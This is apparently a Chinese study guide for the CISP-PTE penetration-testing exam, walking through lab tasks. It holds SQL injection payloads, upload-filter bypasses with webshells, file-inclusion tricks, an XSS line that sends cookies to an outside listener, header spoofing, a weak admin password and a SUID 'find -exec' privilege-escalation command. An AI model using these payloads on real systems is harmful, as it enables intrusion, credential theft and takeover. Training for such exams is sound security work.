CISP-PTE-B计划

1.基础题

1.1.SQL注入

1.1.1.MG医院患者就诊档案管理系统

  • 通过万能用户进入系统
  • 密码考试时会给出

image-20241111224054860

  • 常出现的注入点

image-20241111224234436

image-20241111224342790

image-20241111224446005

  • 通过order by 判断上条查询语句返回的列数(小于等于条目数是返回正确,大于时返回错误)。
1
pid=1'+order+by+14--+
  • 注入(考试时不一定是15个,24,18,11都有可能)
1
pid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+

image-20241111224754555

  • 通过load_file(‘’)读取本地文件(文件路径题目给出)

image-20241111230153005

  • 其他还可能出现注入点的位置

    • 医生-查看患者档案-编辑
    • 患者-编辑
    • 药品-编辑
    • 检查-编辑
    • 治疗-编辑

    image-20241111231052386

image-20241111231243314

image-20241111231511754

1.1.2.文章发布

  • 在插入文章位置存在SQL注入(insert)
  • 公式为: 其中gbg必须和注册的用户名一致才能插入成功
1
2
3
4
5
123','gbg'),('123',(select/**/database()),'a

123','gbg'),('123',(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=/**/'2web'),'a

123','gbg'),('123',(select/**/group_concat(Xreamark4354)/**/from/**/user1),'a

1.2.文件上传

1.2.1.黑名单绕过

  • 大小写绕过,通过上传一个图片,然后修改后缀,再将sqzr或wen免杀木马写入图片中。

image-20241111235720999

image-20241111235816126

  • 当访问文件上传的图片发现乱码时,基本上就表示成功了

image-20241112002043253

image-20241112002008618

1.2.2.白名单绕过(apacha解析漏洞+00截断)

  • 生成图片码

image-20241112002723196

  • 上传图片码
  • 抓包添加00hex 截断.jpg

image-20241112003550674

image-20241112004101566

1.3.文件包含

  • 文件包含data://text/plain,<?php ?>
  • 伪协议执行php代码+双写绕过。

image-20241112005226625

1.4.XSS盗取cookie值

  1. python监听

image-20241112233150573

  1. 插入xss代码
1
<script>document.location='http://192.168.100.1:8111/?cookie=' + document.cookie; </script>

image-20241112233512188

接收成功。

image-20241112233552317

  1. 如果返回的不是key值则使用该cookie进行替换登陆访问,获取key值

1.5.代码审计

1.5.1.单双引号

  • 利用单引号执行比双引号快的特性,执行命令

image-20241112234250468

  • 也可使用//注释

image-20241112234412331

1.5.2.命令执行长度限制(30)

  1. 通过将命令重定向到文本文件,然后通过访问文件路径,进行预览。

image-20241112235324070

image-20241112235337383

image-20241112235527507

image-20241112235559223

1.6.逻辑漏洞

  • ip 地址不允许访问,修改X-Forwarded-For
  • 域名不允许访问 修改refferer

image-20241113000356432

  • 修改base64编码后的用户名为admin,和修改false为true

image-20241113000931796

image-20241113000943739

2.综合题

2.1.实验1

image-20241113220842438

  1. 端口扫描
  2. 目录扫描

image-20241113220923306

  1. 弱口令进入phpadmin
  • admin / 123456

image-20241113221212579

image-20241113221320575

  1. 修改该cms的密码md5

image-20241113221544473

image-20241113221450303

  1. 上传图片码

image-20241113222003327

image-20241113222030170

image-20241113222035601

image-20241113222048910

image-20241113222116360

image-20241113222121025

  1. 蚁剑连接

image-20241113222232791

  1. 进入虚拟终端修改administrator的用户密码

image-20241113222439423

  • 修改修改为强口令net user administrator 1234.com

image-20241113222552964

  1. 远程桌面连接

image-20241113222658389

image-20241113222807869

2.2.实验2

  1. 端口扫描

image-20241114001054296

image-20241114001036024

  1. 目录扫描

image-20241114000922081

image-20241114001015423

  1. 根据21ftp端口扫描,可运行匿名用户登陆

image-20241114001738955

  • 直接访问获得两个文件数据

image-20241114001800860

  1. 通过config.php配置文件中的数据访问数据库

image-20241114001903227

image-20241114001920444

  1. 根据验证码接口访问phpcms后台

image-20241114002158409

  1. 通过修改数据库的用户密码md5值绕过密码校验。

image-20241114002336778

登陆成功拿到key6

image-20241114002425870

  1. 上传pdf木马文件(只允许上传pdf)
  • 直接将木马改名为pdf文件后缀上传即可。

image-20241114002625045

  • 上传成功后仅返回文件名,就叫sqzr.pdf(源文件名)
  1. 访问 6721 http端口
  • 共有两种方式获得包含路径
    • 通过该页面注释
    • 或者直接通过超链接

image-20241114002833987

  • 获取到了文件包含的接口,但现在需要获取到上传文件的路径
  1. 获取上传的文件路径
  • 通过phpinfo文件获取到网站根路径

image-20241114003359720

  • 通过文件包含,来包含首页查看页面源代码。

image-20241114003600012

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php require('config.php');?>
<?php include('lib/functions.php');?>
<?php require('lib/mysql.class.php');?>
<?php
@extract($_GET,EXTR_PREFIX_ALL,"g");
if(isset($_POST['submit']) || isset($g_submit)){
@check_post_request();
@extract($_POST,EXTR_PREFIX_ALL,"p");
}

session_cache_limiter('private,must-revalidate');
if(!isset($_SESSION)){
session_start();
}
$db = new c_mysql;
$g_m = (isset($g_m) && in_array_key($g_m,$config['model'])) ? $g_m : 'login';
$g_o = isset($g_o) ? $g_o : '';

if($g_m != 'login')
if(!isset($_SESSION['uid'])){
header('Location:?m=login');
exit();
}

if(isset($_SESSION['uid']) && $g_m != 'login'){
$user = $db->select_one('user',array('id' => $_SESSION['uid']));
if(!$user)
alert_goto('?m=login','没有这个用户的记录,请重新登录!');
}

if($g_m == 'home'){
$g_m = 'order';
$g_o = 'list';
}

$exts = $db->select_date('ext');
foreach($exts as $ext)
$config['ext'][$ext['id']] = $ext;
foreach($exts as $ext)
$config['ext'][$ext['code']] = $ext;

$model_file = 'model/'.$g_m.'.php';
if(file_exists($model_file))
include($model_file);

$operate_file = 'model/'.$g_m."_".$g_o.".php";
if(file_exists($operate_file))
include($operate_file);

create_html();
?>

  • 通过以上可解解读文件上传php源文件的名字为order_upload.php,且在model/目录下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php
$operates['upload'] = '上传档案';
$target_dir = "CISP-PTE-1413/";
$info = '';

if(isset($_POST["submit"])){
$target_file = $target_dir . basename($_FILES[fileToUpload]["name"]);
$uploadOK = 1;
$fileType = strtolower(pathinfo($target_file,PATHINFO_EXTENSION));
if(file_exists($target_file)){
$info="文件已经存在";
$uploadOK = 0;
}
if($fileType != "pdf"){
$info = "只允上传PDF文件";
$uploadOK = 0;
}
if($fileType != "pdf"){
$info = "只允许上传pdf文件";
$uploadOK = 0;
}
if($uploadOK == 0){
}else{
if(move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)){
$info = basename($_FILES["fileToUpload"]["name"])."上传成功";
}else{
$info = "上传文件时发生错误";
}
}
}
$main_tpl = "order_upload.htm";
$replace['{info}'] = $info;
?>
  • 通过该代码可解读除文件上传的路径在CISP-PTE-1413/目录下

image-20241114004421200

  1. 使用蚁剑post连接

image-20241114004747248

  • 注意参数是写道body中,不要写道header中了

image-20241114005053805

  1. suid提权
  • 提权公式 /usr/bin/find [当前目录任意文件名] -exec [执行的命令] \;

image-20241114005633134